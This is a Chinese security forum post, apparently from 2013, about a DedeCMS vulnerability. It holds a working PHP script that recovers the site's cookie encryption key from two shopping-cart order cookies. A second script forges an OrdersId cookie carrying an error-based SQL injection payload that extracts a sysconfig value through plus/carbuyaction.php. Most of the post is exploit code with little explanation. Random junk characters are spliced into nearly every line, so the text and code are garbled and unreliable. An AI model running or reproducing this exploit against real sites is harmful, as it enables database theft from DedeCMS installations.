找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1906|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=
) ]0 o& Z) Z0 _  ~; g" \! b0 D在 include/shopcar.class.php中7 x9 l% G& r9 a7 p  M# n* w' `
先看一下这个shopcar类是如何生成cookie的1 N! g$ R9 d# t4 Y% M0 O
239      function saveCookie($key,$value)# M5 d# p8 D' u" {
240      {" M' ?0 e) p7 i3 s* W4 [8 F7 N
241          if(is_array($value))! o1 ]9 o1 h  ?9 R0 s+ D
242          {
4 }+ y) I5 ~8 I  E) U* x4 J243              $value = $this->enCrypt($this->enCode($value));
8 D2 b. o5 Y  p' f  t/ v244          }! i2 }( o( Q5 u* c4 k
245          else! c8 |; {1 P" n- O( j
246          {
  c9 T% M0 R5 T% V+ j247              $value = $this->enCrypt($value);  ?- X7 J3 W- Z1 m9 ]7 s0 I
248          }
" u8 @/ L. T9 o  z0 G249          setcookie($key,$value,time()+36000,’/');! m! c/ S2 h) i$ Y
250      }
( m  V' x1 C2 Y  ?: w2 l) \简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数2 n( G' N9 w" }: O2 o+ n
186      function enCrypt($txt)
2 I# D  o. _) C. z8 S" f+ C# t& J187      {: ~3 ?, S, @- i
188          srand((double)microtime() * 1000000);
1 Q) [. E3 w( e$ f; E189          $encrypt_key = md5(rand(0, 32000));; u$ ~" C/ j# X9 Q
190          $ctr = 0;3 u! X' l9 |8 }7 J! p- V# a: O& x
191          $tmp = ”;
. ]% n8 W- o3 k  T) J0 U: m# f192          for($i = 0; $i < strlen($txt); $i++)
* s; D" q, ~! ]" I7 x5 B193          {0 m; E, ?8 [2 ?" F
194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;7 e: a4 k/ j1 W. `# B5 T
195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);2 M+ b) t/ D* Y* P+ x- ]1 {5 F  n/ G
196          }: J) [7 ^- [7 {- g9 D
197          return base64_encode($this->setKey($tmp));* b6 P4 T8 y+ m& x
198      }( n! X# d) p" p# T2 p
213      function setKey($txt)# H4 n% M1 [+ d9 P9 w+ R# G
214      {+ \) ]" E+ U6 {0 s5 }/ T
215          global $cfg_cookie_encode;. O- y. n1 ~2 S) [8 k/ X
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));% ?0 Y! v: @9 D
217          $ctr = 0;! C* R: b" N5 D
218          $tmp = ”;+ |( G+ t8 O% t0 k! o3 t+ ?
219          for($i = 0; $i < strlen($txt); $i++)* v5 V* }. J) v
220          {$ A! ], o  C: N- d' Z( `
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;/ y5 U& ^) S. o' @  J2 O$ C
222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
/ f! J: P; u( W7 X; K223          }
  [; d$ d; N; n" ~. t; d2 u& d224          return $tmp;* E: k' u7 U' l. h. }, W5 a
225      }  n, r* q  Z) o; `$ K
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的, Q  G% L* p1 z! F# }
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
" [$ W0 o8 _1 G7 z具体代码如下:8 ~2 s3 r- M4 H3 N  B3 Q: q
<?php
$ {1 S+ n2 O$ f; b7 K" R$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
1 s7 C) ~0 L) o: o5 ?; }: d- n% M; n$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here& D% V3 O" A2 h2 T
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
6 f. i6 e' [/ cfunction reStrCode($code,$string)' Z2 `& b' ~! m( \5 J
{
* b$ T6 M  G( R0 d& V. ~$code = base64_decode($code);
9 d/ M4 C- w3 k( d0 m8 J3 O$key = “”;- S  D' b. n; X: O
for($i=0 ; $i<32 ; $i++): ^. p+ f% c! [2 a7 u
{( \8 Q! L0 K- y- M+ g
$key .= $string[$i] ^ $code[$i];& d7 r+ D( t& d, P1 a
}
& F. n3 V% d* I0 {, y/ M5 b" G! ireturn $key;
  k( j7 ^% E; c) p}
% u/ a7 v- e( l- Pfunction getKeys($cookie,$plantxt)/ z& t; P- W' q, N# ^" g1 o! {9 ?
{
2 m8 @  m; l" F, o+ U9 I$tmp = $cookie;
3 y/ w' m6 D' X4 `( p0 M/ d$results = array();3 Y! g, b7 s& Q- H" {: M2 Q6 u
for($j=0 ; $j < 32000; $j++)2 ?( |. ?2 C0 z' M7 c
{
/ A& ~3 j% P% \  e( N8 B1 ^. \; u( D+ T
$txt = $plantxt;5 W' j/ m9 h# M. G; Y9 b5 A
$ctr = 0;8 a: e. x" F0 t$ y4 M, m$ J/ ^
$tmp = ”;. F$ i0 o- f% V! s* q, E; u
$encrypt_key = md5($j);) |! S) F0 H9 D$ A8 K; g
for($i =0; $i < strlen($txt); $i ++)
! S' N# S* O( M7 F- j  M- ~% x{
  X! o6 w  L$ O% R0 z! k; D$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;8 Q, {" s  t/ _" T% G* b
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);! F, g5 c; M7 ?
}1 S1 r& h- T( O2 j
$string = $tmp;
1 c  k2 i/ X5 n/ a+ j$code = $cookie;
$ ]" T3 ]( H9 f& x4 ]$result = reStrCode($code,$string);
, B* @  l3 _6 ]9 k" ~if(eregi(‘^[a-z0-9]+$’,$result))# t/ K4 V  G& Q5 i0 a
{
  o( U* s6 G  P% Zecho $result.”\n”;
# o1 [# U, O: U$results[] = $result;+ R! J! K4 a$ }8 U& R
}9 d! f3 `/ M% ]& `7 q
}3 ?/ f0 d/ H6 h8 e# q- _5 h) d8 b
return $results;& n8 L1 z+ d# h1 r) Q4 V
}
4 i, }; I0 `1 c# G3 W/ ]" H; k$results1 = getKeys($cookie1,$plantxt);. X4 c3 z6 J4 B  I0 d7 s
$results2 = getKeys($cookie2,$plantxt);
8 I; g1 U6 y' l$ I# }& s8 [print “\n——————–real key————————–\n”;0 _+ R3 c+ S, k. t) o) `" A$ Q
foreach($results1 as $test1)
5 z/ P) e" E% W1 T& o* `$ w( \% {{
9 ?) L# b) M! \foreach($results2 as $test2)/ B9 V: I' D3 H" k5 r" L, H  G
{0 E- I( ]9 T) T4 K! ^
if($test1 == $test2)$ f7 Z8 S7 U0 Z- s7 _. G
{5 w% c" i5 j7 F' z
echo $test1.”\n”;
: \* i+ t$ D: S: q; W}; a4 i/ d' J6 a8 d/ |3 j* M
}8 U8 G) \' Y6 P& {2 V4 |; \! T! z
}1 L& c% s' G# |9 ]7 O
?>
4 D" Q7 ^; b7 s9 b# s! J2 [% pcookie1 和 cookie2 是我下了两次订单后分别生成的cookie,# a  H3 `6 F+ C+ n
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
3 s% |0 G! N6 M7 {4 w& o* H然后推算出md5(strtolower($cfg_cookie_encode))+ S* x8 |3 x* |
得到这个key之后,我们就可以构造任意购物车的cookie6 a: b8 q$ `" F+ P1 k. H1 E1 D/ ^
接着看3 M3 }+ ^! g! b+ ~7 w7 |
20  class MemberShops6 O" Y5 L  f7 Z$ |" X- O" q2 f  b
21  {
* u% \& e$ X, X8 I22      var $OrdersId;
& W1 I( N; i. h23      var $productsId;
" g7 E$ o; e0 W, j24& p& w5 ]  g, F/ t- V
25      function __construct()$ L0 {- d. e: p8 J% F! U
26      {3 ^7 d4 c2 T& s  C) X  Y/ }
27          $this->OrdersId = $this->getCookie(“OrdersId”);: j0 J7 x6 K8 t. C
28          if(empty($this->OrdersId)); f- v' t; Q- f/ h0 m0 [; J% ~
29          {
/ w- d# K8 ~& D# G2 m. z- d( @6 [30              $this->OrdersId = $this->MakeOrders();+ E" S/ }9 d- G' R
31          }
! H& i# F8 F1 O' _9 H32      }8 A7 p6 D/ d2 X4 w, {+ q
发现OrderId是从cookie里面获取的
: |7 G8 e9 T0 x/ C$ j然后
: z% t$ B- C$ {) C/plus/carbuyaction.php中的6 `  c- C" w/ W" E/ _% Q8 d
29      $cart    = new MemberShops();$ I. G* n2 t+ y7 G: t% `( C( l! q
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号$ V  ?) {' @3 a) _/ t. n& y% O
……
9 T: d% F! k8 m/ d173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
+ P& W+ r3 N* c$ T接着我们就可以注入了
% z' ?) h' S8 u" C7 S7 T通过利用下面代码生成cookie:5 K4 R9 `1 z4 S5 V/ Z
<?php. e% E0 O! N9 e4 {! [! n9 n9 }$ H
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
8 e4 L3 t; l' p: b( W# `$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here
2 \4 x6 f+ @1 x- wfunction setKey($txt): i! V/ V8 _  {
{
/ ^3 v2 J* _0 Iglobal $encrypt_key;
0 ?0 q/ _( K! J& p: P$ctr = 0;/ _$ O9 t9 G" L
$tmp = ”;4 i+ ?% f; S) a; J  c+ B
for($i = 0; $i < strlen($txt); $i++)
0 ^9 f& }8 J8 e- D% e" l{
1 B/ T$ G: y' J" t4 J9 r$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$ o# B2 U# t$ S. O2 ]# g2 a$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
4 r$ E" c! {& d2 z}
) _6 x5 X, h4 ereturn $tmp;
9 Y# [3 }. H- r6 D7 K, c: \, `}) e  G) L1 [& V5 p
function enCrypt($txt)
; a; b9 G. k; n( p& _{0 j8 ~- k, ]9 `" p
srand((double)microtime() * 1000000);
# B$ T) f  J/ }$encrypt_key = md5(rand(0, 32000));& e' F7 W' {$ ]
$ctr = 0;
5 ^2 T2 F3 f" \, d' S. H5 K3 @$tmp = ”;2 {3 N; a7 s  j9 n
for($i = 0; $i < strlen($txt); $i++)
+ ]& m4 t" b; a7 `+ @{5 p' q: @) V3 F1 p5 `/ k
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;4 e2 P5 G) R, E$ u* V
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);: b4 S& o( ^6 B
}
. E2 ^6 z6 @# Q% e9 greturn base64_encode(setKey($tmp));& _/ f# t6 g* N0 d0 E. S7 u
}
8 h/ p3 ?' U! ^0 i7 }for($dest =0;$dest = enCrypt($txt);), p0 |" z1 a& P, d
{9 f& o9 C7 t& |5 d
if(!strpos($dest,’+'))" k- U$ B$ b7 K+ F6 Q
{) f* u0 s  j( K! R; H& U
break;
" d5 p, A* g8 S7 O- A- F1 P}
3 m; `- H+ f( b6 o/ T}' I% _' N$ D7 H) l# v; \
echo $dest.”\n”;6 |" Y/ C) ^2 J) R) ^
?>/ S( w! [1 ^& |5 o6 f& }

: d5 U% a; B  }& ~* v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表